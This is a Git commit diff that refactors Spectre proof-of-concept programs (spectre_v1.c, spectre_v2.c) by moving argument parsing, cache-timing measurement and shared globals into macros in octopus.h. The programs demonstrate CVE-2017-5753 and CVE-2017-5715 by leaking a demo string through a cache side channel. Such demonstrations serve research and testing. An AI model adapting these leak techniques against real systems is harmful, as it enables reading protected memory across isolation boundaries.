Factorize OCTOPUS_ARGS, OCTOPUS_TIMINGS and OCTOPUS_NOCLFLUSH_INIT in macros defined in octopus.h
This commit is contained in:
		
							parent
							
								
									7134b712ed
								
							
						
					
					
						commit
						a8612b146a
					
				
							
								
								
									
										59
									
								
								octopus.h
									
									
									
									
									
								
							
							
						
						
									
										59
									
								
								octopus.h
									
									
									
									
									
								
							| @ -71,6 +71,65 @@ | |||||||
| 	} | 	} | ||||||
| #endif //NOCLFLUSH
 | #endif //NOCLFLUSH
 | ||||||
| 
 | 
 | ||||||
|  | #define GAP 512 | ||||||
|  | 
 | ||||||
|  | char* 		secret = "SPECTRE: Special Executive for Counterintelligence, Terrorism, Revenge and Extortion."; | ||||||
|  | unsigned int 	cache_hit_threshold, array1_size = 16; | ||||||
|  | uint8_t 	unused1[64], unused2[64], array1[160] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16 }; | ||||||
|  | uint8_t 	channel[256 * GAP]; // side channel to extract secret phrase
 | ||||||
|  | 
 | ||||||
|  | #define __OCTOPUS_ARGS__\ | ||||||
|  | 	while ((o = getopt(argc, argv, "t:j")) != EOF) {\ | ||||||
|  | 		switch (o) {\ | ||||||
|  | 			case 't':\ | ||||||
|  | 				cache_hit_threshold = atoi(optarg);\ | ||||||
|  | 				break;\ | ||||||
|  | 			case 'j':\ | ||||||
|  | 				json++;\ | ||||||
|  | 				break;\ | ||||||
|  | 			default:\ | ||||||
|  | 			usage:\ | ||||||
|  | 				fprintf(stderr, "usage: %s [-j] "\ | ||||||
|  | 				"[-t threshold]\n"\ | ||||||
|  | 				"\t-j\t\tJSON output\n"\ | ||||||
|  | 				"\t-t INT\t\tfixed threshold\n", argv[0]);\ | ||||||
|  | 				return 1;\ | ||||||
|  | 		}\ | ||||||
|  | 	}\ | ||||||
|  | 	if (argc != optind) {\ | ||||||
|  | 		goto usage;\ | ||||||
|  | 	} | ||||||
|  | 
 | ||||||
|  | #define __OCTOPUS_TIMINGS__\ | ||||||
|  | 		/* Time reads. Order is lightly mixed up to prevent stride prediction */\ | ||||||
|  | 		for (i = 0; i < 256; i++) {\ | ||||||
|  | 			mix_i = ((i * 167) + 13) & 255;\ | ||||||
|  | 			addr = & channel[mix_i * GAP];\ | ||||||
|  | 			if (timed_access(addr) <= cache_hit_threshold && mix_i != array1[tries % array1_size]) {\ | ||||||
|  | 				results[mix_i]++; /* cache hit - add +1 to score for this value */\ | ||||||
|  | 			}\ | ||||||
|  | 		}\ | ||||||
|  | 		/* Locate highest results in j */\ | ||||||
|  | 		j = -1;\ | ||||||
|  | 		for (i = 0; i < 256; i++) {\ | ||||||
|  | 			if (j < 0 || results[i] >= results[j]) {\ | ||||||
|  | 				j = i;\ | ||||||
|  | 			}\ | ||||||
|  | 		}\ | ||||||
|  | 		if (results[j] >= 3) {\ | ||||||
|  | 			break;\ | ||||||
|  | 		} | ||||||
|  | 
 | ||||||
|  | #define __OCTOPUS_NOCLFLUSH_INIT__\ | ||||||
|  | 		int junk2 = 0;\ | ||||||
|  | 		int l;\ | ||||||
|  | 		(void)junk2; | ||||||
|  | 
 | ||||||
|  | #define __OCTOPUS_MFENCE__\ | ||||||
|  | 	#ifndef NOMFENCE\ | ||||||
|  | 		_mm_mfence();\ | ||||||
|  | 	#endif | ||||||
|  | 
 | ||||||
| static inline unsigned | static inline unsigned | ||||||
| timed_access(volatile uint8_t *addr) | timed_access(volatile uint8_t *addr) | ||||||
| { | { | ||||||
|  | |||||||
							
								
								
									
										64
									
								
								spectre_v1.c
									
									
									
									
									
								
							
							
						
						
									
										64
									
								
								spectre_v1.c
									
									
									
									
									
								
							| @ -21,9 +21,6 @@ | |||||||
| 
 | 
 | ||||||
| #include "octopus.h" | #include "octopus.h" | ||||||
| 
 | 
 | ||||||
| char*		secret = "SPECTRE: Special Executive for Counterintelligence, Terrorism, Revenge and Extortion."; |  | ||||||
| unsigned int	cache_hit_threshold, array1_size = 16; |  | ||||||
| uint8_t		unused1[64], unused2[64], array2[256 * 512], array1[160] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16 }; |  | ||||||
| uint8_t		temp = 0; /* Used so compiler won’t optimize out victim_function() */ | uint8_t		temp = 0; /* Used so compiler won’t optimize out victim_function() */ | ||||||
| 
 | 
 | ||||||
| void | void | ||||||
| @ -44,7 +41,7 @@ victim_function(size_t x) | |||||||
| 			x &= array_index_mask_nospec(x, array1_size); | 			x &= array_index_mask_nospec(x, array1_size); | ||||||
| 		#endif | 		#endif | ||||||
| 
 | 
 | ||||||
| 		temp &= array2[array1[x] * 512]; | 		temp &= channel[array1[x] * GAP]; | ||||||
| 	} | 	} | ||||||
| } | } | ||||||
| 
 | 
 | ||||||
| @ -57,24 +54,24 @@ leak(size_t malicious_x, uint8_t value[2], int score[2], unsigned cache_hit_thre | |||||||
| 	volatile uint8_t*	addr; | 	volatile uint8_t*	addr; | ||||||
| 
 | 
 | ||||||
| 	#ifdef NOCLFLUSH | 	#ifdef NOCLFLUSH | ||||||
| 		int junk2 = 0; | 		__OCTOPUS_NOCLFLUSH_INIT__ | ||||||
| 		int l; |  | ||||||
| 		(void)junk2; |  | ||||||
| 	#endif | 	#endif | ||||||
|  | 
 | ||||||
| 	for (i = 0; i < 256; i++) { | 	for (i = 0; i < 256; i++) { | ||||||
| 		results[i] = 0; | 		results[i] = 0; | ||||||
| 	} | 	} | ||||||
| 	for (tries = 999; tries > 0; tries--) { | 	for (tries = 999; tries > 0; tries--) { | ||||||
| 		#ifndef NOCLFLUSH | 		#ifndef NOCLFLUSH | ||||||
| 			/* Flush array2[256*(0..255)] from cache */ | 			/* Flush channel[256*(0..255)] from cache */ | ||||||
| 			for (i = 0; i < 256; i++) | 			for (i = 0; i < 256; i++) { | ||||||
| 				_mm_clflush(&array2[i * 512]); | 				_mm_clflush(&channel[i * GAP]); | ||||||
|  | 			} | ||||||
| 		#else  | 		#else  | ||||||
| 			/* Flush array2[256*(0..255)] from cache
 | 			/* Flush channel[256*(0..255)] from cache
 | ||||||
| 			using long SSE instruction several times */ | 			using long SSE instruction several times */ | ||||||
| 			for (j = 0; j < 16; j++) { | 			for (j = 0; j < 16; j++) { | ||||||
| 				for (i = 0; i < 256; i++) { | 				for (i = 0; i < 256; i++) { | ||||||
| 					flush_memory_sse(&array2[i * 512]); | 					flush_memory_sse(&channel[i * GAP]); | ||||||
| 				} | 				} | ||||||
| 			} | 			} | ||||||
| 		#endif | 		#endif | ||||||
| @ -101,22 +98,8 @@ leak(size_t malicious_x, uint8_t value[2], int score[2], unsigned cache_hit_thre | |||||||
| 			victim_function(x); | 			victim_function(x); | ||||||
| 		} | 		} | ||||||
| 
 | 
 | ||||||
| 		/* Time reads. Order is lightly mixed up to prevent stride prediction */ | 		__OCTOPUS_TIMINGS__ | ||||||
| 		for (i = 0; i < 256; i++) { | 
 | ||||||
| 			mix_i = ((i * 167) + 13) & 255; |  | ||||||
| 			addr = & array2[mix_i * 512]; |  | ||||||
| 			if (timed_access(addr) <= cache_hit_threshold && mix_i != array1[tries % array1_size]) |  | ||||||
| 			        results[mix_i]++; /* cache hit - add +1 to score for this value */ |  | ||||||
| 		} |  | ||||||
| 		/* Locate highest results in j */ |  | ||||||
| 		j = -1; |  | ||||||
| 		for (i = 0; i < 256; i++) { |  | ||||||
| 			if (j < 0 || results[i] >= results[j]) { |  | ||||||
| 				j = i; |  | ||||||
| 			} |  | ||||||
| 		} |  | ||||||
| 		if (results[j] >= 3) |  | ||||||
| 			break; |  | ||||||
| 	} | 	} | ||||||
| 	results[0] ^= junk; /* use junk so code above won’t get optimized out*/ | 	results[0] ^= junk; /* use junk so code above won’t get optimized out*/ | ||||||
| 	value[0] = (uint8_t) j; | 	value[0] = (uint8_t) j; | ||||||
| @ -130,26 +113,7 @@ main(int argc, char** argv) | |||||||
| 	int 		i, o, score[2], len = (int)strlen(secret), json = 0, successes = 0; | 	int 		i, o, score[2], len = (int)strlen(secret), json = 0, successes = 0; | ||||||
| 	uint8_t 	value[2]; | 	uint8_t 	value[2]; | ||||||
| 	 | 	 | ||||||
| 	while ((o = getopt(argc, argv, "t:j")) != EOF) { | 	__OCTOPUS_ARGS__ | ||||||
| 		switch (o) { |  | ||||||
| 			case 't': |  | ||||||
| 				cache_hit_threshold = atoi(optarg); |  | ||||||
| 				break; |  | ||||||
| 			case 'j': |  | ||||||
| 				json++; |  | ||||||
| 				break; |  | ||||||
| 			default: |  | ||||||
| 			usage: |  | ||||||
| 				fprintf(stderr, "usage: %s [-j] " |  | ||||||
| 				"[-t threshold]\n" |  | ||||||
| 				"\t-j\t\tJSON output\n" |  | ||||||
| 				"\t-t INT\t\tfixed threshold\n", argv[0]); |  | ||||||
| 				return 1; |  | ||||||
| 		} |  | ||||||
| 	} |  | ||||||
| 	if (argc != optind) { |  | ||||||
| 		goto usage; |  | ||||||
| 	} |  | ||||||
| 
 | 
 | ||||||
| 	fprintf(stderr, "[+] %s leaking %d bytes with CVE-2017-5753:\n[?] ", argv[0] + 2, (int)strlen(secret)); | 	fprintf(stderr, "[+] %s leaking %d bytes with CVE-2017-5753:\n[?] ", argv[0] + 2, (int)strlen(secret)); | ||||||
| 	calibrate_threshold(cache_hit_threshold ? NULL : &cache_hit_threshold); | 	calibrate_threshold(cache_hit_threshold ? NULL : &cache_hit_threshold); | ||||||
| @ -158,8 +122,8 @@ main(int argc, char** argv) | |||||||
| 			cache_flush_array[i] = 1; | 			cache_flush_array[i] = 1; | ||||||
| 		} | 		} | ||||||
| 	#endif | 	#endif | ||||||
| 	for (i = 0; i < (int)sizeof(array2); i++) { | 	for (i = 0; i < (int)sizeof(channel); i++) { | ||||||
| 		array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */ | 		channel[i] = 1; /* write to channel so in RAM not copy-on-write zero pages */ | ||||||
| 	} | 	} | ||||||
| 	while (--len >= 0) { | 	while (--len >= 0) { | ||||||
| 		leak(malicious_x++, value, score, cache_hit_threshold); | 		leak(malicious_x++, value, score, cache_hit_threshold); | ||||||
|  | |||||||
							
								
								
									
										56
									
								
								spectre_v2.c
									
									
									
									
									
								
							
							
						
						
									
										56
									
								
								spectre_v2.c
									
									
									
									
									
								
							| @ -20,14 +20,7 @@ | |||||||
| 
 | 
 | ||||||
| #include "octopus.h" | #include "octopus.h" | ||||||
| 
 | 
 | ||||||
| #define GAP 1024 |  | ||||||
| 
 |  | ||||||
| char* 		secret = "SPECTRE: Special Executive for Counterintelligence, Terrorism, Revenge and Extortion."; |  | ||||||
| uint64_t*	target; // pointer to indirect call target
 | uint64_t*	target; // pointer to indirect call target
 | ||||||
| unsigned int 	cache_hit_threshold, array1_size = 16; |  | ||||||
| uint8_t 	unused1[64], unused2[64], array2[256 * 512], array1[160] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16 }; |  | ||||||
| //uint8_t 	temp = 0; /* Used so compiler won’t optimize out victim_function() */
 |  | ||||||
| uint8_t 	channel[256 * GAP]; // side channel to extract secret phrase
 |  | ||||||
| 
 | 
 | ||||||
| // mistrained target of indirect call
 | // mistrained target of indirect call
 | ||||||
| int | int | ||||||
| @ -77,10 +70,9 @@ leak(char* target_addr, uint8_t value[2], int score[2], unsigned cache_hit_thres | |||||||
| 	unsigned int		junk = 0; | 	unsigned int		junk = 0; | ||||||
| 	volatile uint8_t*	addr; | 	volatile uint8_t*	addr; | ||||||
| 	char			dummy = '@'; | 	char			dummy = '@'; | ||||||
|  | 
 | ||||||
| 	#ifdef NOCLFLUSH | 	#ifdef NOCLFLUSH | ||||||
| 		int junk2 = 0; | 		__OCTOPUS_NOCLFLUSH_INIT__ | ||||||
| 		int l; |  | ||||||
| 		(void)junk2; |  | ||||||
| 	#endif | 	#endif | ||||||
| 	for (i = 0; i < 256; i++) { | 	for (i = 0; i < 256; i++) { | ||||||
| 		results[i] = 0; | 		results[i] = 0; | ||||||
| @ -90,7 +82,7 @@ leak(char* target_addr, uint8_t value[2], int score[2], unsigned cache_hit_thres | |||||||
| 		// Malicious target 
 | 		// Malicious target 
 | ||||||
| 		*target = (uint64_t)&gadget; | 		*target = (uint64_t)&gadget; | ||||||
| 		#ifndef NOMFENCE | 		#ifndef NOMFENCE | ||||||
| 		_mm_mfence(); | 			_mm_mfence(); | ||||||
| 		#endif  | 		#endif  | ||||||
| 		for (j = 50; j > 0; j--) { | 		for (j = 50; j > 0; j--) { | ||||||
| 			junk ^= victim_function(&dummy, 0); | 			junk ^= victim_function(&dummy, 0); | ||||||
| @ -138,24 +130,9 @@ leak(char* target_addr, uint8_t value[2], int score[2], unsigned cache_hit_thres | |||||||
| 		#endif  | 		#endif  | ||||||
| 		// now, the value of *addr_to_read should be cached even though
 | 		// now, the value of *addr_to_read should be cached even though
 | ||||||
| 		// the logical execution path never calls gadget() 
 | 		// the logical execution path never calls gadget() 
 | ||||||
|      		/* Time reads. Order is lightly mixed up to prevent stride prediction */ | 
 | ||||||
| 		for (i = 0; i < 256; i++) { | 		__OCTOPUS_TIMINGS__ | ||||||
| 			mix_i = ((i * 167) + 13) & 255; | 
 | ||||||
| 			addr = & channel[mix_i * GAP]; |  | ||||||
| 			if (timed_access(addr) <= cache_hit_threshold && mix_i != array1[tries % array1_size]) { |  | ||||||
| 				results[mix_i]++; /* cache hit - add +1 to score for this value */ |  | ||||||
| 			} |  | ||||||
| 		} |  | ||||||
| 		/* Locate highest results in j */ |  | ||||||
| 		j = -1; |  | ||||||
| 		for (i = 0; i < 256; i++) { |  | ||||||
| 			if (j < 0 || results[i] >= results[j]) { |  | ||||||
| 				j = i; |  | ||||||
| 			} |  | ||||||
| 		} |  | ||||||
| 		if (results[j] >= 3) { |  | ||||||
| 			break; |  | ||||||
| 		} |  | ||||||
| 	} | 	} | ||||||
| 	results[0] ^= junk; /* use junk so code above won’t get optimized out*/ | 	results[0] ^= junk; /* use junk so code above won’t get optimized out*/ | ||||||
| 	value[0] = (uint8_t) j; | 	value[0] = (uint8_t) j; | ||||||
| @ -169,26 +146,7 @@ main(int argc, char** argv) | |||||||
| 	uint8_t 	value[2]; | 	uint8_t 	value[2]; | ||||||
| 	char*		secret_addr = secret; | 	char*		secret_addr = secret; | ||||||
| 	 | 	 | ||||||
| 	while ((o = getopt(argc, argv, "t:j")) != EOF) { | 	__OCTOPUS_ARGS__ | ||||||
| 		switch (o) { |  | ||||||
| 			case 't': |  | ||||||
| 				cache_hit_threshold = atoi(optarg); |  | ||||||
| 				break; |  | ||||||
| 			case 'j': |  | ||||||
| 				json++; |  | ||||||
| 				break; |  | ||||||
| 			default: |  | ||||||
| 			usage: |  | ||||||
| 				fprintf(stderr, "usage: %s [-j] " |  | ||||||
| 				"[-t threshold]\n" |  | ||||||
| 				"\t-j\t\tJSON output\n" |  | ||||||
| 				"\t-t INT\t\tfixed threshold\n", argv[0]); |  | ||||||
| 				return 1; |  | ||||||
| 		} |  | ||||||
| 	} |  | ||||||
| 	if (argc != optind) { |  | ||||||
| 		goto usage; |  | ||||||
| 	} |  | ||||||
| 	 | 	 | ||||||
| 	target = (uint64_t*)malloc(sizeof(uint64_t)); | 	target = (uint64_t*)malloc(sizeof(uint64_t)); | ||||||
| 	fprintf(stderr, "[+] %s leaking %d bytes with CVE-2017-5715:\n[?] ", argv[0] + 2, len); | 	fprintf(stderr, "[+] %s leaking %d bytes with CVE-2017-5715:\n[?] ", argv[0] + 2, len); | ||||||
|  | |||||||
		Loading…
	
		Reference in New Issue
	
	Block a user
	 Samuel Aubertin
						Samuel Aubertin